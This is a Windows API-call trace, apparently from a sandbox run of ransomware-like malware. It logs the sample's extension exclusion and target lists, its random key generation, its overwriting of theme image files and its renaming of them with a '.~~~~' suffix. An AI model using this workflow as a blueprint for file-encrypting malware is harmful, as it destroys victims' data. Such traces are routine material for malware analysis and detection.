	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.323] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.399] lstrlenW (lpString=".sqb") returned 4
	[0084.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.399] lstrlenW (lpString=".ost") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.400] lstrlenW (lpString=".txt") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.400] lstrlenW (lpString=".mdt") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.400] lstrlenW (lpString=".BDB") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.400] lstrlenW (lpString=".eql") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.400] lstrlenW (lpString=".DBF") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.400] lstrlenW (lpString=".EQL") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.400] lstrlenW (lpString=".FDB") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.400] lstrlenW (lpString=".EDB") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.400] lstrlenW (lpString=".DACPAC") returned 7
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.400] lstrlenW (lpString=".VHD") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.400] lstrlenW (lpString=".DBV") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.400] lstrlenW (lpString=".dacpac") returned 7
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.400] lstrlenW (lpString=".sdf") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.400] lstrlenW (lpString=".accdb") returned 6
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.400] lstrlenW (lpString=".DBX") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.400] lstrlenW (lpString=".MDT") returned 4
	[0084.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.401] lstrlenW (lpString=".SQB") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.401] lstrlenW (lpString=".vhd") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.401] lstrlenW (lpString=".bac") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.401] lstrlenW (lpString=".mdf") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.401] lstrlenW (lpString=".BAK") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.401] lstrlenW (lpString=".BAC") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.401] lstrlenW (lpString=".dbs") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.401] lstrlenW (lpString=".vhdx") returned 5
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.401] lstrlenW (lpString=".NDF") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.401] lstrlenW (lpString=".dat") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.401] lstrlenW (lpString=".DBS") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.401] lstrlenW (lpString=".CKP") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.401] lstrlenW (lpString=".edb") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.401] lstrlenW (lpString=".PST") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.401] lstrlenW (lpString=".dbf") returned 4
	[0084.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.402] lstrlenW (lpString=".SQL") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.402] lstrlenW (lpString=".pst") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.402] lstrlenW (lpString=".dbv") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.402] lstrlenW (lpString=".SDF") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.402] lstrlenW (lpString=".dtxs") returned 5
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.402] lstrlenW (lpString=".db3") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.402] lstrlenW (lpString=".OST") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.402] lstrlenW (lpString=".dbx") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.402] lstrlenW (lpString=".DB3") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.402] lstrlenW (lpString=".DAT") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.402] lstrlenW (lpString=".VHDX") returned 5
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.402] lstrlenW (lpString=".ndf") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.402] lstrlenW (lpString=".DB") returned 3
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.402] lstrlenW (lpString=".sql") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.402] lstrlenW (lpString=".MYD") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.402] lstrlenW (lpString=".DBT") returned 4
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.402] lstrlenW (lpString=".ACCDB") returned 6
	[0084.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.403] lstrlenW (lpString=".fdb") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.403] lstrlenW (lpString=".bak") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.403] lstrlenW (lpString=".myd") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.403] lstrlenW (lpString=".DTXS") returned 5
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.403] lstrlenW (lpString=".ckp") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.403] lstrlenW (lpString=".dbt") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.403] lstrlenW (lpString=".db") returned 3
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.403] lstrlenW (lpString=".TXT") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.403] lstrlenW (lpString=".MDF") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.403] lstrlenW (lpString=".bdb") returned 4
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.403] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.403] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.405] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.405] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20439495152) returned 1
	[0084.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c258a50, dwHighDateTime=0x1d60e1e)) 
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96f8
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.405] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.406] GetLastError () returned 0x0
	[0084.406] GetLastError () returned 0x0
	[0084.406] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.406] GetLastError () returned 0x0
	[0084.406] GetLastError () returned 0x0
	[0084.408] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffab6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.408] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x54a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x54a, lpOverlapped=0x0) returned 1
	[0084.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.408] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.409] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.409] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.409] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.409] CloseHandle (hObject=0x118) returned 1
	[0084.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8870
	[0084.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.~~~~")) returned 1
	[0084.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8870 | out: hHeap=0x300000) returned 1
	[0084.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.410] GetLastError () returned 0x0
	[0084.410] RtlWakeConditionVariable () returned 0x365f70
	[0084.410] GetCurrentThreadId () returned 0x9f4
	[0084.410] GetCurrentThreadId () returned 0x9f4
	[0084.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f72d0
	[0084.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8b50 | out: hHeap=0x300000) returned 1
	[0084.410] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96c0 | out: hHeap=0x300000) returned 1
	[0084.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8b50
	[0084.410] lstrlenW (lpString=".scr") returned 4
	[0084.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.410] lstrlenW (lpString=".cmd") returned 4
	[0084.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.410] lstrlenW (lpString=".dll") returned 4
	[0084.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.411] lstrlenW (lpString=".bat") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.411] lstrlenW (lpString=".cpl") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.411] lstrlenW (lpString=".sys") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.411] lstrlenW (lpString=".msc") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.411] lstrlenW (lpString=".com") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.411] lstrlenW (lpString=".lnk") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.411] lstrlenW (lpString=".msp") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.411] lstrlenW (lpString=".pif") returned 4
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.411] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0084.413] lstrlenW (lpString=".sqb") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.413] lstrlenW (lpString=".ost") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.413] lstrlenW (lpString=".txt") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.413] lstrlenW (lpString=".mdt") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.413] lstrlenW (lpString=".BDB") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.413] lstrlenW (lpString=".eql") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.413] lstrlenW (lpString=".DBF") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.413] lstrlenW (lpString=".EQL") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.413] lstrlenW (lpString=".FDB") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.413] lstrlenW (lpString=".EDB") returned 4
	[0084.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.414] lstrlenW (lpString=".DACPAC") returned 7
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.414] lstrlenW (lpString=".VHD") returned 4
	[0084.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.414] lstrlenW (lpString=".DBV") returned 4
